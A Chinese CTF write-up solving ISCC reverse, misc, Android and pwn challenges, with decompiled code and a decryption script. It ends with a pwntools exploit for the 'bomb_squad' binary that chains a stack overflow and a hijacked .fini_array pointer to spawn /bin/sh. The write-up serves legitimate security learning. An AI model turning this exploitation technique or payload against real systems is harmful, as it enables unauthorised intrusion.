#CTF
# REVERSE
去网上搜 flag 时发现是 2018 原题
首先 IDA 打开发现 UPX 壳,使用 UPX -d
脱壳,然后放进 IDA 里面看源码
有点不忍直视,放弃,直接放进 OD 里面跑。
调试了几次,摸清了大致流程:
- 接收字符串
- 根据接收到的字符串打印出来东西
然后打印出来的东西本身是在程序里存着,像这样:
把这些数据拿出来转成字符串就是这种:
666f72 495343 5f6172 696375 746869 6e6773 617379 696666 437b41 6c747d 5f6265 6c6c5f 655f64 68657965
for ISC _ar icu thi ngs asy iff C{A lt} _be ll_ e_d heye
输入 -> 输出规律:
1 -> for
2 -> ISC
3 -> _ar
4 -> icu
5 -> thi
6 -> ngs
7 -> iff
8 -> _ar
9 -> C{A
10-> lt}
11-> _be
12-> ll
13-> e_d
14-> hey
15-> e_t
16-> e_e
接着拼出 flag->ISCC {All_things_are_easy_before_they_are_difficult},翻译一下是凡事必先易后难,但是也可以拼成 All_things_are_difficult_before_they_are_easy (凡事必先难后易),不是很懂出题人在想什么,卡拉赞毕业打卡拉赞
# MISC
依旧是原题,只不过看 2018 的 wp 貌似是个 gif,每帧都是不同的二维码,而这次直接弄了一堆到文件夹里
抄下网上的 wp
二维码要求在两个大黑框之间必须有连续的黑白点,这样才行
逐帧分析 gif,发现只有第 62 帧存在一个校正图形
,保存补上位置探测图形和定位图形
,扫描得到 ISRDQzgxMDI=,base64 解码得到!$CC8102
嗦不粗话,连 flag 都没换
# MOBILE
原题,最大的收获是找到了不少好用的工具
放入 APKIDE 中打开,查看 AndroidManifest.xml
,看到启动类为 com.example.shellapplication.WrapperApplication
public class WrapperApplication | |
extends Application | |
{ | |
static | |
{ | |
System.loadLibrary("reinforce"); | |
} | |
public native void attachBaseContext(Context paramContext); | |
public native void onCreate(); | |
} |
这个类加载了 libreinforce.so
,接着去看 onCreate()
和 attachBaseContext
中的内容
onCreate:
v2 = a2; | |
v3 = a1; | |
v4 = (*(int (**)(void))(*(_DWORD *)a1 + 24))(); | |
v5 = v4; | |
v6 = _JNIEnv::GetMethodID(v3, v4, "getPackageName", "()Ljava/lang/String;"); | |
v7 = _JNIEnv::CallObjectMethod(v3, v2, v6); | |
v8 = (*(int (__fastcall **)(int, int, _DWORD))(*(_DWORD *)v3 + 676))(v3, v7, 0); | |
_android_log_print(4, "TTT", "shellapplication's onCreate execute"); | |
memset(&v12, 0, 0x100u); | |
sprintf(&v12, "/data/data/%s/lib/libcore.so", v8); | |
v9 = dlopen(&v12, 1); | |
v10 = (void (__fastcall *)(int))dlsym(v9, "resume"); | |
v10(v3); | |
_JNIEnv::DeleteLocalRef(v3, v7); | |
return _JNIEnv::DeleteLocalRef(v3, v5); |
onCreate
中加载了 libcore.so
以及调用了 resume
这个方法
attachBaseContext:
memset(&v23, 0, 0x100u); | |
sprintf(&v23, "%s/protected.jar", v17); | |
extractJar(v4, v5, &v23); | |
byte_601C = (unsigned int)dalvikOrArt(); | |
memset(&v24, 0, 0x100u); | |
sprintf(&v24, "%s/origin.dex", v17); | |
decryptJar(&v23, &v24); | |
v22 = v4; | |
memset(&v25, 0, 0x100u); | |
sprintf(&v25, "%s/protected.so", v17); |
attachBaseContext
中最关键的部分是对 assets
中的 protected.jar
进行解密,解密操作很简单,按位取反
decryptJar:
while ( v9 < v6 ) | |
{ | |
*((_BYTE *)v8 + v9) = ~*((_BYTE *)v7 + v9); | |
++v9; | |
} |
解密脚本:
#include <stdio.h> | |
int main() | |
{ | |
FILE* fi, * fo; | |
fo = fopen("dec.dex", "wb"); | |
fi = fopen("protected.jar", "rb"); | |
char fBuffer[1]; | |
while (!feof(fi)) { | |
fread(fBuffer, 1, 1, fi); // 读取 1 字节 | |
if (!feof(fi)) { | |
*fBuffer =~ *fBuffer; // xor encrypt | |
fwrite(fBuffer, 1, 1, fo); // 写入文件 | |
} | |
} | |
} |
之所以为什么用 C 来写。。。因为 python 按位取反之后返回的是 int 类型,而负数又没办法 to_bytes()
,写了半天也没写出来一个比较优雅的 exp,放弃。
解密之后得到一个 dex 文件,使用 dex2jar
将其转成 jar 文件,使用 jd-gui 打开。
onCreate 中调用 ProtectedClass
的 verifyKey
对输入进行检查:
if (ProtectedClass.verifyKey(inputText.getText().toString())) { | |
str = "密码正确"; | |
} else { | |
str = "密码错误"; | |
} |
ProtectedClass
的逻辑:
public class ProtectedClass { | |
private static int[][] key = { { 17, 12, 3 }, { 21, 12, 9 }, { 17, 14, 6 } }; | |
private static native String getEncrypttext(String paramString); | |
public static String getString() { return "bfs-iscc"; } | |
public static boolean verifyKey(String paramString) { return (paramString.length() % 3 != 0) ? false : "OYUGMCH>YWOCBXF))9/3)YYE".equals(getEncrypttext(paramString)); } | |
} |
将输入进行加密之后与 OYUGMCH>YWOCBXF
进行比较,但是关键的 getEncrypttext
函数又是个 native。
之前 libreinforce.so 中,在加载完 libcore.so 后,还调用了其中的 resume 方法
resume
:
v1 = a1; | |
v5 = 0; | |
v6 = 0; | |
v7 = 0; | |
v2 = dalvikOrArt(); | |
decryptAndParse((int)&v5); | |
getSdkint(v1); | |
if ( v2 ) | |
resumeArt(v1, &v5); | |
else | |
resumeDalvik((int)v1, &v5); | |
v3 = (char *)v5; | |
v4 = v6; | |
while ( v3 != (char *)v4 ) | |
{ | |
sub_539C(v3 + 8); | |
sub_539C(v3 + 4); | |
sub_539C(v3); | |
v3 += 16; | |
} | |
if ( v5 ) | |
operator delete(v5); |
什么都看不出来。
看大佬的博客里面说使用了一个安卓的热补丁修复机制。
关于热补丁机制的描述是这样的:
在不进行版本更新的情况下,动态的屏蔽掉程序原来存在 BUG 的函数,使用新的函数替代。
新函数一般存在于另一个 so 中
热补丁的流程主要有:
- 通过函数名找到原来函数的地址偏移(ArtMethod->dex_code_item_offset_)。
- 将新函数地址偏移替换原函数地址偏移。
而上述程序也为类似主要流程如下:
- 分析安卓虚拟机为 dalvik 还是 art,二者热补丁方式不一样。
- 解密解析补丁函数表 (decryptAndParse)
- 执行补丁操作
接着在 decryptAndParse
中,对补丁表每字节 + 10,进行解密,解密后的补丁表:
1Lcom/example/originapplication/ProtectedClass;getEncrypttext(Ljava/lang/String;)Ljava/lang/String;1416140
后面这串数字就是新函数的位置。
这部分就是函数的字节码,但是 IDA 没有显示出来汇编,需要手动转换
不会
剩下的参考 https://mypre.cn/2018/10/27/bfs-iscc-mobile
# PWN
# bomb_squad
首先 checksec 一下
[*] '/root/work/CLSknpNF3iWUuHCX.bomb_squad' | |
Arch: i386-32-little | |
RELRO: Partial RELRO | |
Stack: Canary found | |
NX: NX enabled | |
PIE: No PIE (0x8048000) |
这个题目首先由 4 个小关卡,全部通关之后才能达到 getflag 的地方
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) | |
{ | |
setvbuf(stdout, 0, 2, 0); | |
puts("Welcome to the bomb squad! Your first task: Diffuse this practice bomb."); | |
phase_1(); | |
puts("You got through phase 1 alright! Good work! But can you handle phase 2?"); | |
phase_2(); | |
puts("You could handle it! Good job... I think you can handle phase 3... right?"); | |
phase_3(); | |
puts("DAYUM, you got it! You know the drill, time for phase 4."); | |
phase_4(); | |
print_flag(); | |
} |
# phase_1
int phase_1() | |
{ | |
char *v0; // eax | |
int result; // eax | |
puts("Give me a number!"); | |
v0 = get_line(); | |
result = 3 * (2 * atoi(v0) / 37 - 18) - 1; | |
if ( result != 1337 ) | |
explode_bomb(); | |
phase1_solved = 1; | |
return result; | |
} |
关卡 1 接收一个数字,经过一系列计算,使得最终结果要等于 1337,使用 z3-solver
很容易得出解。
# phase_2
int phase_2() | |
{ | |
puts("Give me an array of numbers!"); | |
s = get_line(); | |
sscanf(s, "[%d, %d, %d, %d, %d, %d]", v4, _2C, _30, _34, _38, _3C); | |
result = v4[0]; | |
if ( v4[0] != 1 ) | |
explode_bomb(); | |
for ( i = 1; i <= 5; ++i ) | |
{ | |
v2 = v4[i - 1] + v4[i]; | |
result = func2(i); | |
if ( v2 != result ) | |
explode_bomb(); | |
} | |
phase2_solved = 1; | |
return result; | |
} |
接收一个数组,要求满足 a[0]=1,a[i-1]+a[i]=2^i
,那么结果就是 [1, 1, 3, 5, 11, 21]
# phase_2
int phase_3() | |
{ | |
v4 = get_line(); | |
v5 = "rqzzepiwMLepiwYsLYtpqpvzLsYeM"; | |
while ( 1 ) | |
{ | |
v1 = v4++; | |
result = (unsigned __int8)*v1; | |
v3 = result; | |
if ( !(_BYTE)result ) | |
break; | |
if ( (char)result <= 96 || (char)result > 123 ) | |
explode_bomb(); | |
v0 = v5++; | |
if ( *v0 != keys[v3 - 97] ) | |
explode_bomb(); | |
lastentered = v3; | |
} | |
phase3_solved = 1; | |
return result; | |
} |
接收一串字符串,要求 keys 里面的字符串要与 v5 的对应。但实际上不需要这么麻烦,
if ( !(_BYTE)result ) | |
break; |
当输入为 \x00
时,就会跳出循环,直接返回。
# phase_4
int phase_4() | |
{ | |
s = (char *)get_line(); | |
sscanf(s, "%d %d %d %d %d %d %d", v5, &v5[1], &v5[2], &v5[3], &v5[4], &v5[5], &v5[6]); | |
v2 = &n1; | |
result = n1.num; | |
v3 = n1.num; | |
for ( i = 0; i <= 6; ++i ) | |
{ | |
if ( v5[i] < 0 || v5[i] > 3 ) | |
explode_bomb(); | |
v2 = (node *)*((_DWORD *)&v2->next1 + v5[i]); | |
result = v2->num; | |
v3 += result; | |
} | |
if ( v3 != 95 ) | |
explode_bomb(); | |
phase4_solved = 1; | |
return result; | |
} |
这里 n1 是一个结构体,大致结构如下
struct node{ | |
node* next1; | |
node* next2; | |
node* next3; | |
node* next4; | |
char name[8]; | |
int num; | |
}; |
这一关接收用户输入的数字,根据数字来进行结构体之间 num 相加的顺序。
比如输入为 "0 3"
,相加的顺序就是 0xa+0x7+0x10
。
最后试出来解为 3 0 3 0 3 0 0
。
# secret_phase
通关之后会进入 print_flag
,经过 verify_working
之后会打印出来 flag
void __noreturn print_flag() | |
{ | |
if ( verify_working() ) | |
{ | |
puts("Congratulations, you won! Here's the flag:"); | |
system("cat flag.txt"); | |
} | |
exit(1); | |
} |
但是 verify_working
始终返回 1 的,而且最终也并没有得到 flag,还是需要 getshell。
进入 secret_phase
int secret_phase() | |
{ | |
puts("this is the secret phase.... please whisper, to keep it a seecret..."); | |
v2 = &n1; | |
v3 = n2; | |
v4 = &n3; | |
v5 = &n4; | |
v6 = &n5; | |
v7 = &n6; | |
for ( i = 0; i <= 5; ++i ) | |
{ | |
printf("Rename node #%d to: ", i + 1); | |
fgets((*(&v2 + i))->name, 9, stdin); | |
*(_BYTE *)strchrnul((*(&v2 + i))->name, 10) = 0; | |
putchar(10); | |
} | |
return puts("Thanks, I was worried about having to come up with clever names myself!"); | |
} |
这一段代码是修改每一个 node 的 name 成员,最多只可以溢出一个字节到 num 上面,并没有什么用。
# fini 段
该 section 保存着进程终止代码指令。因此,当一个程序正常退出时,系统安排执行这个 section 的中的代码。
.fini_array
中有一个 __gg
函数
v5 = &n1; | |
v6 = n2; | |
v7 = &n3; | |
v8 = &n4; | |
v9 = &n5; | |
v10 = &n6; | |
for ( i = 0; i <= 5; ++i ) | |
{ | |
v0 = alloca(32); | |
v1 = *(&v5 + i); | |
v2 = (_DWORD *)(16 * (((unsigned int)&v6 + 3) >> 4)); | |
*v2 = *v1; | |
v2[1] = v1[1]; | |
v2[2] = v1[2]; | |
v2[3] = v1[3]; | |
v2[4] = v1[4]; | |
v2[5] = v1[5]; | |
v2[6] = v1[6]; | |
result = *(_DWORD *)(16 * (((unsigned int)&v6 + 3) >> 4) + 0x14); | |
if ( result ) | |
result = (*(int (**)(void))(16 * (((unsigned int)&v6 + 3) >> 4) + 0x14))(); | |
} | |
return result; |
经过分析之后发现这个函数会执行每个 node 中 name[4]-name[8]
所指向的函数,而 name 自然可以控制。并且 call 的时候,此时栈顶指向的就是当前 node。那么只需要把某一个 node 的 name 后四个字节修改成 system,next1 指向的内容修改为 /bin/sh\x00
就可以 getshell。
# 任意地址写
__nr 函数:
unsigned int _nr() | |
{ | |
v5 = __readgsdword(0x14u); | |
v0 = (const char *)get_line(); | |
strcpy(&dest, v0); | |
v1 = (const char *)get_line(); | |
strcpy(v4, v1); | |
return __readgsdword(0x14u) ^ v5; | |
} |
很明显的栈溢出,可以通过第一个输入,将 v4 覆盖为 node->next1
的地址,通过第二个输入在修改 next1
所指向的内容。
# payload
from pwn import * | |
p = process("./bomb_squad") | |
p.sendline("8584") | |
p.sendline("[1, 1, 3, 5, 11, 21]") | |
p.sendline("\x00") | |
p.sendline("3 0 3 0 3 0 0") | |
system = 0x080485A0 | |
n3 = 0x804b0a8 | |
nr = 0x08048CDA | |
payload = 'aaaa' + p32(nr) #首先利用__gg 函数执行 node1 中的__nr 函数 | |
p.send(payload) | |
payload = 'bbbb' + p32(system) + "\n\n\n\n" #接着写入 system 地址到 node2 等待第二次 call,最后 4 个 \n 跳过剩下 4 个 node->name 的修改 | |
p.send(payload) | |
payload = 'a' * 0xfc + p32(n3) #栈溢出,修改 n3->next1 指向的内容 | |
p.sendline(payload) | |
p.sendline('/bin/sh\x00') | |
p.interactive() |
之所以为什么是要修改 n3->next1
,因为 system 地址写入到了 node2 的 name 中,当 __gg
函数执行时,此时栈顶排列为
| n3 |
| --- |
| n4 |
| n5 |
| n6 |
| name |
| num |
接下来就要执行 system 函数,所以要修改 n3 指向的地址。